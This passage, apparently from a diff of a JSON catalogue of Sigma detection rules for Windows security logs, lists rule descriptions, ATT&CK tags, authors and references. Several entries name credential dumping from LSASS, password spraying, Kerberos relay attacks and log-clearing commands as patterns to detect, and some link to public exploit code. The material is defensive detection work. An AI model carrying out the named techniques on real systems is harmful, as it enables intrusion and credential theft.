"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scm_database_handle_failure.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1010" - ], - "creation_date": "2019/08/12", - "filename": "win_security_scm_database_handle_failure.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects non-system users performing privileged operation os the SCM database", - "uuid": "dae8171c-5ec6-4396-b210-8466585b53e9", - "value": "SCM Database Privileged Operation", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/07_discovery/WIN-190826010110.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scm_database_privileged_operation.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548" - ], - "creation_date": "2019/08/15", - "filename": "win_security_scm_database_privileged_operation.yml", - "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detect potential adversaries leveraging WMI ActiveScriptEventConsumers remotely to move laterally in a network", - "uuid": "9599c180-e3a8-4743-8f92-7fb96d3be648", - "value": "Remote WMI ActiveScriptEventConsumers", - "meta": { - "refs": [ - "https://threathunterplaybook.com/notebooks/windows/08_lateral_movement/WIN-200902020333.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_scrcons_remote_wmi_scripteventconsumer.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.privilege_escalation", - "attack.persistence", - "attack.t1546.003" - ], - "creation_date": "2020/09/02", - "filename": "win_security_scrcons_remote_wmi_scripteventconsumer.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", - "level": "high", - "falsepositive": [ - "SCCM" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects a service installed by a client which has PID 0 or whose parent has PID 0", - "uuid": "c4e92a97-a9ff-4392-9d2d-7a4c642768ca", - "value": "Service Installed By Unusual Client - Security", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/current/windows-service-installed-via-an-unusual-client.html", - "https://twitter.com/SBousseaden/status/1490608838701166596", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_service_installation_by_unusal_client.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1543" - ], - "creation_date": "2022/09/15", - "filename": "win_security_service_installation_by_unusal_client.yml", - "author": "Tim Rauch", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "security", - "logsource.product": "windows" - } - }, - { - "description": "Look for non-system accounts SMB accessing a file with write (0x2) access mask via administrative share (i.e C$).", - "uuid": "b210394c-ba12-4f89-9117-44a2464b9511", - "value": "SMB Create Remote File Admin Share", - "meta": { - "refs": [ - "https://github.com/OTRF/ThreatHunter-Playbook/blob/f7a58156dbfc9b019f17f638b8c62d22e557d350/playbooks/WIN-201012004336.yaml", - "https://securitydatasets.com/notebooks/small/windows/08_lateral_movement/SDWIN-200806015757.html?highlight=create%20file", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_smb_file_creation_admin_shares.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.002" - ], - "creation_date": "2020/08/06", - "filename": "win_security_smb_file_creation_admin_shares.yml", - "author": "Jose Rodriguez (@Cyb3rPandaH), OTR (Open Threat Research)", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Addition of domains is seldom and should be verified for legitimacy.", - "uuid": "0255a820-e564-4e40-af2b-6ac61160335c", - "value": "Addition of Domain Trusts", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_add_domain_trust.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ], - "creation_date": "2019/12/03", - "filename": "win_security_susp_add_domain_trust.yml", - "author": "Thomas Patzke", - "level": "medium", - "falsepositive": [ - "Legitimate extension of domain structure" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "An attacker can use the SID history attribute to gain additional privileges.", - "uuid": "2632954e-db1c-49cb-9936-67d1ef1d17d2", - "value": "Addition of SID History to Active Directory Object", - "meta": { - "refs": [ - "https://adsecurity.org/?p=1772", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_add_sid_history.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1134.005" - ], - "creation_date": "2017/02/19", - "filename": "win_security_susp_add_sid_history.yml", - "author": "Thomas Patzke, @atc_project (improvements)", - "level": "medium", - "falsepositive": [ - "Migration of an account into a new domain" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Code integrity failures may indicate tampered executables.", - "uuid": "470ec5fa-7b4e-4071-b200-4c753100f49b", - "value": "Failed Code Integrity Checks", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_codeintegrity_check_failure.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027.001" - ], - "creation_date": "2019/12/03", - "filename": "win_security_susp_codeintegrity_check_failure.yml", - "author": "Thomas Patzke", - "level": "low", - "falsepositive": [ - "Disk device errors" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious computer name samtheadmin-{1..100}$ generated by hacktool", - "uuid": "39698b3f-da92-4bc6-bfb5-645a98386e45", - "value": "Win Susp Computer Name Containing Samtheadmin", - "meta": { - "refs": [ - "https://twitter.com/malmoeb/status/1511760068743766026", - "https://github.com/WazeHell/sam-theadmin/blob/main/sam_the_admin.py", - "https://github.com/helloexp/0day/blob/614227a7b9beb0e91e7e2c6a5e532e6f7a8e883c/00-CVE_EXP/CVE-2021-42287/sam-the-admin/sam_the_admin.py", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_computer_name.yml" - ], - "tags": [ - "cve.2021.42278", - "cve.2021.42287", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1078" - ], - "creation_date": "2022/09/09", - "filename": "win_security_susp_computer_name.yml", - "author": "elhoim", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "security", - "logsource.product": "windows" - } - }, - { - "description": "The Directory Service Restore Mode (DSRM) account is a local administrator account on Domain Controllers. Attackers may change the password to gain persistence.", - "uuid": "53ad8e36-f573-46bf-97e4-15ba5bf4bb51", - "value": "Password Change on Directory Service Restore Mode (DSRM) Account", - "meta": { - "refs": [ - "https://adsecurity.org/?p=1714", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_dsrm_password_change.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1098" - ], - "creation_date": "2017/02/19", - "filename": "win_security_susp_dsrm_password_change.yml", - "author": "Thomas Patzke", - "level": "high", - "falsepositive": [ - "Initial installation of a domain controller" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "One of the Windows Eventlogs has been cleared. e.g. caused by \"wevtutil cl\" command execution", - "uuid": "d99b79d2-0a6f-4f46-ad8b-260b6e17f982", - "value": "Security Eventlog Cleared", - "meta": { - "refs": [ - "https://twitter.com/deviouspolack/status/832535435960209408", - "https://www.hybrid-analysis.com/sample/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_eventlog_cleared.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.001", - "car.2016-04-002" - ], - "creation_date": "2017/01/10", - "filename": "win_security_susp_eventlog_cleared.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Rollout of log collection agents (the setup routine often includes a reset of the local Eventlog)", - "System provisioning (system reset before the golden image creation)" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects a source user failing to authenticate with multiple users using explicit credentials on a host.", - "uuid": "196a29c2-e378-48d8-ba07-8a9e61f7fab9", - "value": "Multiple Users Attempting To Authenticate Using Explicit Credentials", - "meta": { - "refs": [ - "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_explicit_credentials.yml" - ], - "tags": [ - "attack.t1110.003", - "attack.initial_access", - "attack.privilege_escalation" - ], - "creation_date": "2021/06/01", - "filename": "win_security_susp_failed_logons_explicit_credentials.yml", - "author": "Mauricio Velazco", - "level": "medium", - "falsepositive": [ - "Terminal servers", - "Jump servers", - "Other multiuser systems like Citrix server farms", - "Workstations with frequently changing users" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects failed logins with multiple accounts from a single process on the system.", - "uuid": "fe563ab6-ded4-4916-b49f-a3a8445fe280", - "value": "Multiple Users Failing to Authenticate from Single Process", - "meta": { - "refs": [ - "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", - "https://www.trimarcsecurity.com/single-post/2018/05/06/trimarc-research-detecting-password-spraying-with-security-event-auditing", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_process.yml" - ], - "tags": [ - "attack.t1110.003", - "attack.initial_access", - "attack.privilege_escalation" - ], - "creation_date": "2021/06/01", - "filename": "win_security_susp_failed_logons_single_process.yml", - "author": "Mauricio Velazco", - "level": "medium", - "falsepositive": [ - "Terminal servers", - "Jump servers", - "Other multiuser systems like Citrix server farms", - "Workstations with frequently changing users" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious failed logins with different user accounts from a single source system", - "uuid": "e98374a6-e2d9-4076-9b5c-11bdb2569995", - "value": "Failed Logins with Different Accounts from Single Source System", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1078" - ], - "creation_date": "2017/01/10", - "filename": "win_security_susp_failed_logons_single_source.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Terminal servers", - "Jump servers", - "Other multiuser systems like Citrix server farms", - "Workstations with frequently changing users" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious failed logins with different user accounts from a single source system", - "uuid": "6309ffc4-8fa2-47cf-96b8-a2f72e58e538", - "value": "Failed Logins with Different Accounts from Single Source System", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source2.yml" - ], - "tags": [ - "attack.persistence", - "attack.privilege_escalation", - "attack.t1078" - ], - "creation_date": "2017/01/10", - "filename": "win_security_susp_failed_logons_single_source2.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Terminal servers", - "Jump servers", - "Other multiuser systems like Citrix server farms", - "Workstations with frequently changing users" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects multiple failed logins with multiple valid domain accounts from a single source system using the Kerberos protocol.", - "uuid": "5d1d946e-32e6-4d9a-a0dc-0ac022c7eb98", - "value": "Valid Users Failing to Authenticate From Single Source Using Kerberos", - "meta": { - "refs": [ - "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_kerberos.yml" - ], - "tags": [ - "attack.t1110.003", - "attack.initial_access", - "attack.privilege_escalation" - ], - "creation_date": "2021/06/01", - "filename": "win_security_susp_failed_logons_single_source_kerberos.yml", - "author": "Mauricio Velazco, frack113", - "level": "medium", - "falsepositive": [ - "Vulnerability scanners", - "Misconfigured systems", - "Remote administration tools", - "VPN terminators", - "Multiuser systems like Citrix server farms" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects failed logins with multiple disabled domain accounts from a single source system using the Kerberos protocol.", - "uuid": "4b6fe998-b69c-46d8-901b-13677c9fb663", - "value": "Disabled Users Failing To Authenticate From Source Using Kerberos", - "meta": { - "refs": [ - "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_kerberos2.yml" - ], - "tags": [ - "attack.t1110.003", - "attack.initial_access", - "attack.privilege_escalation" - ], - "creation_date": "2021/06/01", - "filename": "win_security_susp_failed_logons_single_source_kerberos2.yml", - "author": "Mauricio Velazco, frack113", - "level": "medium", - "falsepositive": [ - "Vulnerability scanners", - "Misconfigured systems", - "Remote administration tools", - "VPN terminators", - "Multiuser systems like Citrix server farms" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects failed logins with multiple invalid domain accounts from a single source system using the Kerberos protocol.", - "uuid": "bc93dfe6-8242-411e-a2dd-d16fa0cc8564", - "value": "Invalid Users Failing To Authenticate From Source Using Kerberos", - "meta": { - "refs": [ - "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_kerberos3.yml" - ], - "tags": [ - "attack.t1110.003", - "attack.initial_access", - "attack.privilege_escalation" - ], - "creation_date": "2021/06/01", - "filename": "win_security_susp_failed_logons_single_source_kerberos3.yml", - "author": "Mauricio Velazco, frack113", - "level": "medium", - "falsepositive": [ - "Vulnerability scanners", - "Misconfigured systems", - "Remote administration tools", - "VPN terminators", - "Multiuser systems like Citrix server farms" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects failed logins with multiple valid domain accounts from a single source system using the NTLM protocol.", - "uuid": "f88bab7f-b1f4-41bb-bdb1-4b8af35b0470", - "value": "Valid Users Failing to Authenticate from Single Source Using NTLM", - "meta": { - "refs": [ - "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_ntlm.yml" - ], - "tags": [ - "attack.t1110.003", - "attack.initial_access", - "attack.privilege_escalation" - ], - "creation_date": "2021/06/01", - "filename": "win_security_susp_failed_logons_single_source_ntlm.yml", - "author": "Mauricio Velazco", - "level": "medium", - "falsepositive": [ - "Terminal servers", - "Jump servers", - "Other multiuser systems like Citrix server farms", - "Workstations with frequently changing users" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects failed logins with multiple invalid domain accounts from a single source system using the NTLM protocol.", - "uuid": "56d62ef8-3462-4890-9859-7b41e541f8d5", - "value": "Invalid Users Failing To Authenticate From Single Source Using NTLM", - "meta": { - "refs": [ - "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logons_single_source_ntlm2.yml" - ], - "tags": [ - "attack.t1110.003", - "attack.initial_access", - "attack.privilege_escalation" - ], - "creation_date": "2021/06/01", - "filename": "win_security_susp_failed_logons_single_source_ntlm2.yml", - "author": "Mauricio Velazco", - "level": "medium", - "falsepositive": [ - "Terminal servers", - "Jump servers", - "Other multiuser systems like Citrix server farms", - "Workstations with frequently changing users" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This method uses uncommon error codes on failed logons to determine suspicious activity and tampering with accounts that have been disabled or somehow restricted.", - "uuid": "9eb99343-d336-4020-a3cd-67f3819e68ee", - "value": "Account Tampering - Suspicious Failed Logon Reasons", - "meta": { - "refs": [ - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4625", - "https://twitter.com/SBousseaden/status/1101431884540710913", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logon_reasons.yml" - ], - "tags": [ - "attack.persistence", - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.initial_access", - "attack.t1078" - ], - "creation_date": "2017/02/19", - "filename": "win_security_susp_failed_logon_reasons.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "User using a disabled account" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "A login from a public IP can indicate a misconfigured firewall or network boundary.", - "uuid": "f88e112a-21aa-44bd-9b01-6ee2a2bbbed1", - "value": "Failed Logon From Public IP", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_logon_source.yml" - ], - "tags": [ - "attack.initial_access", - "attack.persistence", - "attack.t1078", - "attack.t1190", - "attack.t1133" - ], - "creation_date": "2020/05/06", - "filename": "win_security_susp_failed_logon_source.yml", - "author": "NVISO", - "level": "medium", - "falsepositive": [ - "Legitimate logon attempts over the internet", - "IPv4-to-IPv6 mapped IPs" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects a source system failing to authenticate against a remote host with multiple users.", - "uuid": "add2ef8d-dc91-4002-9e7e-f2702369f53a", - "value": "Multiple Users Remotely Failing To Authenticate From Single Source", - "meta": { - "refs": [ - "https://docs.splunk.com/Documentation/ESSOC/3.22.0/stories/UseCase#Active_directory_password_spraying", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_failed_remote_logons_single_source.yml" - ], - "tags": [ - "attack.t1110.003", - "attack.initial_access", - "attack.privilege_escalation" - ], - "creation_date": "2021/06/01", - "filename": "win_security_susp_failed_remote_logons_single_source.yml", - "author": "Mauricio Velazco", - "level": "medium", - "falsepositive": [ - "Terminal servers", - "Jump servers", - "Other multiuser systems like Citrix server farms", - "Workstations with frequently changing users" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "This method triggers on rare Kerberos Failure Codes caused by manipulations of Kerberos messages", - "uuid": "f7644214-0eb0-4ace-9455-331ec4c09253", - "value": "Kerberos Manipulation", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_kerberos_manipulation.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1212" - ], - "creation_date": "2017/02/10", - "filename": "win_security_susp_kerberos_manipulation.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Faulty legacy applications" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects logon events that have characteristics of events generated during an attack with KrbRelayUp and the like", - "uuid": "749c9f5e-b353-4b90-a9c1-05243357ca4b", - "value": "KrbRelayUp Attack Pattern", - "meta": { - "refs": [ - "https://twitter.com/sbousseaden/status/1518976397364056071?s=12&t=qKO5eKHvWhAP19a50FTZ7g", - "https://github.com/elastic/detection-rules/blob/fb6ee2c69864ffdfe347bf3b050cb931f53067a6/rules/windows/privilege_escalation_krbrelayup_suspicious_logon.toml", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_krbrelayup.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.credential_access" - ], - "creation_date": "2022/04/27", - "filename": "win_security_susp_krbrelayup.yml", - "author": "@SBousseaden, Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the usage of particular AttributeLDAPDisplayNames, which are known for data exchange via LDAP by the tool LDAPFragger and are additionally not commonly used in companies.", - "uuid": "d00a9a72-2c09-4459-ad03-5e0a23351e36", - "value": "Suspicious LDAP-Attributes Used", - "meta": { - "refs": [ - "https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961", - "https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/", - "https://github.com/fox-it/LDAPFragger", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_ldap_dataexchange.yml" - ], - "tags": [ - "attack.t1001.003", - "attack.command_and_control" - ], - "creation_date": "2019/03/24", - "filename": "win_security_susp_ldap_dataexchange.yml", - "author": "xknow @xknow_infosec", - "level": "high", - "falsepositive": [ - "Companies, who may use these default LDAP-Attributes for personal information" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the creation of suspicious accounts similar to ANONYMOUS LOGON, such as using additional spaces. Created as an covering detection for exclusion of Logon Type 3 from ANONYMOUS LOGON accounts.", - "uuid": "1bbf25b9-8038-4154-a50b-118f2a32be27", - "value": "Suspicious Windows ANONYMOUS LOGON Local Account Created", - "meta": { - "refs": [ - "https://twitter.com/SBousseaden/status/1189469425482829824", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_local_anon_logon_created.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1136.001", - "attack.t1136.002" - ], - "creation_date": "2019/10/31", - "filename": "win_security_susp_local_anon_logon_created.yml", - "author": "James Pemberton / @4A616D6573", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious processes logging on with explicit credentials", - "uuid": "941e5c45-cda7-4864-8cea-bbb7458d194a", - "value": "Suspicious Remote Logon with Explicit Credentials", - "meta": { - "refs": [ - "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_logon_explicit_credentials.yml" - ], - "tags": [ - "attack.t1078", - "attack.lateral_movement" - ], - "creation_date": "2020/10/05", - "filename": "win_security_susp_logon_explicit_credentials.yml", - "author": "oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, Tim Shelton", - "level": "medium", - "falsepositive": [ - "Administrators that use the RunAS command or scheduled tasks" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects logon events that specify new credentials", - "uuid": "def8b624-e08f-4ae1-8612-1ba21190da6b", - "value": "Outgoing Logon with New Credentials", - "meta": { - "refs": [ - "https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_logon_newcredentials.yml" - ], - "tags": "No established tags", - "creation_date": "2022/04/06", - "filename": "win_security_susp_logon_newcredentials.yml", - "author": "Max Altgelt", - "level": "low", - "falsepositive": [ - "Legitimate remote administration activity" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects process handle on LSASS process with certain access mask and object type SAM_DOMAIN", - "uuid": "aa1697b7-d611-4f9a-9cb2-5125b4ccfd5c", - "value": "Password Dumper Activity on LSASS", - "meta": { - "refs": [ - "https://twitter.com/jackcr/status/807385668833968128", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003.001" - ], - "creation_date": "2017/02/12", - "filename": "win_security_susp_lsass_dump.yml", - "author": "sigma", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects process handle on LSASS process with certain access mask", - "uuid": "4a1b6da0-d94f-4fc3-98fc-2d9cb9e5ee76", - "value": "Generic Password Dumper Activity on LSASS", - "meta": { - "refs": [ - "https://cyberwardog.blogspot.com/2017/03/chronicles-of-threat-hunter-hunting-for_22.html", - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_lsass_dump_generic.yml" - ], - "tags": [ - "attack.credential_access", - "car.2019-04-004", - "attack.t1003.001" - ], - "creation_date": "2019/11/01", - "filename": "win_security_susp_lsass_dump_generic.yml", - "author": "Roberto Rodriguez, Teymur Kheirkhabarov, Dimitrios Slamaris, Mark Russinovich, Aleksey Potapov, oscd.community (update)", - "level": "high", - "falsepositive": [ - "Legitimate software accessing LSASS process for legitimate reason; update the whitelist with it" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects multiple file rename or delete events occurrence within a specified period of time by a same user (these events may signalize about ransomware activity).", - "uuid": "97919310-06a7-482c-9639-92b67ed63cf8", - "value": "Suspicious Multiple File Rename Or Delete Occurred", - "meta": { - "refs": [ - "https://www.manageengine.com/data-security/how-to/how-to-detect-ransomware-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_multiple_files_renamed_or_deleted.yml" - ], - "tags": [ - "attack.impact", - "attack.t1486" - ], - "creation_date": "2020/10/16", - "filename": "win_security_susp_multiple_files_renamed_or_deleted.yml", - "author": "Vasiliy Burov, oscd.community", - "level": "medium", - "falsepositive": [ - "Software uninstallation", - "Files restore activities" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects activity as \"net user administrator /domain\" and \"net group domain admins /domain\"", - "uuid": "968eef52-9cff-4454-8992-1e74b9cbad6c", - "value": "Reconnaissance Activity", - "meta": { - "refs": [ - "https://findingbad.blogspot.de/2017/01/hunting-what-does-it-look-like.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_net_recon_activity.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087.002", - "attack.t1069.002", - "attack.s0039" - ], - "creation_date": "2017/03/07", - "filename": "win_security_susp_net_recon_activity.yml", - "author": "Florian Roth (rule), Jack Croock (method), Jonhnathan Ribeiro (improvements), oscd.community", - "level": "high", - "falsepositive": [ - "Administrator activity" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.", - "uuid": "00ba9da1-b510-4f6b-b258-8d338836180f", - "value": "Password Protected ZIP File Opened", - "meta": { - "refs": [ - "https://twitter.com/sbousseaden/status/1523383197513379841", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip.yml" - ], - "tags": "No established tags", - "creation_date": "2022/05/09", - "filename": "win_security_susp_opened_encrypted_zip.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Legitimate used of encrypted ZIP files" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the extraction of password protected ZIP archives with suspicious file names. See the filename variable for more details on which file has been opened.", - "uuid": "54f0434b-726f-48a1-b2aa-067df14516e4", - "value": "Password Protected ZIP File Opened (Suspicious Filenames)", - "meta": { - "refs": [ - "https://twitter.com/sbousseaden/status/1523383197513379841", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_filename.yml" - ], - "tags": "No established tags", - "creation_date": "2022/05/09", - "filename": "win_security_susp_opened_encrypted_zip_filename.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate used of encrypted ZIP files" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects the extraction of password protected ZIP archives. See the filename variable for more details on which file has been opened.", - "uuid": "571498c8-908e-40b4-910b-d2369159a3da", - "value": "Password Protected ZIP File Opened (Email Attachment)", - "meta": { - "refs": [ - "https://twitter.com/sbousseaden/status/1523383197513379841", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_opened_encrypted_zip_outlook.yml" - ], - "tags": "No established tags", - "creation_date": "2022/05/09", - "filename": "win_security_susp_opened_encrypted_zip_outlook.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate used of encrypted ZIP files" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.", - "uuid": "eca91c7c-9214-47b9-b4c5-cb1d7e4f2350", - "value": "Suspicious Outbound Kerberos Connection", - "meta": { - "refs": [ - "https://github.com/GhostPack/Rubeus", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_outbound_kerberos_connection.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1558.003" - ], - "creation_date": "2019/10/24", - "filename": "win_security_susp_outbound_kerberos_connection.yml", - "author": "Ilyas Ochkov, oscd.community", - "level": "high", - "falsepositive": [ - "Other browsers" - ], - "logsource.category": "No established category", - "logsource.product": "windows" - } - }, - { - "description": "Detects possible addition of shadow credentials to an active directory object.", - "uuid": "f598ea0c-c25a-4f72-a219-50c44411c791", - "value": "Possible Shadow Credentials Added", - "meta": { - "refs": [ - "https://www.elastic.co/guide/en/security/8.4/potential-shadow-credentials-added-to-ad-object.html", - "https://cyberstoph.org/posts/2022/03/detecting-shadow-credentials/", - "https://twitter.com/SBousseaden/status/1581300963650187264?", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_possible_shadow_credentials_added.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1556" - ], - "creation_date": "2022/10/17", - "filename": "win_security_susp_possible_shadow_credentials_added.yml", - "author": "Nasreddine Bencherchali (rule), Elastic (idea)", - "level": "high", - "falsepositive": [ - "Modifications in the msDS-KeyCredentialLink attribute can be done legitimately by the Azure AD Connect synchronization account or the ADFS 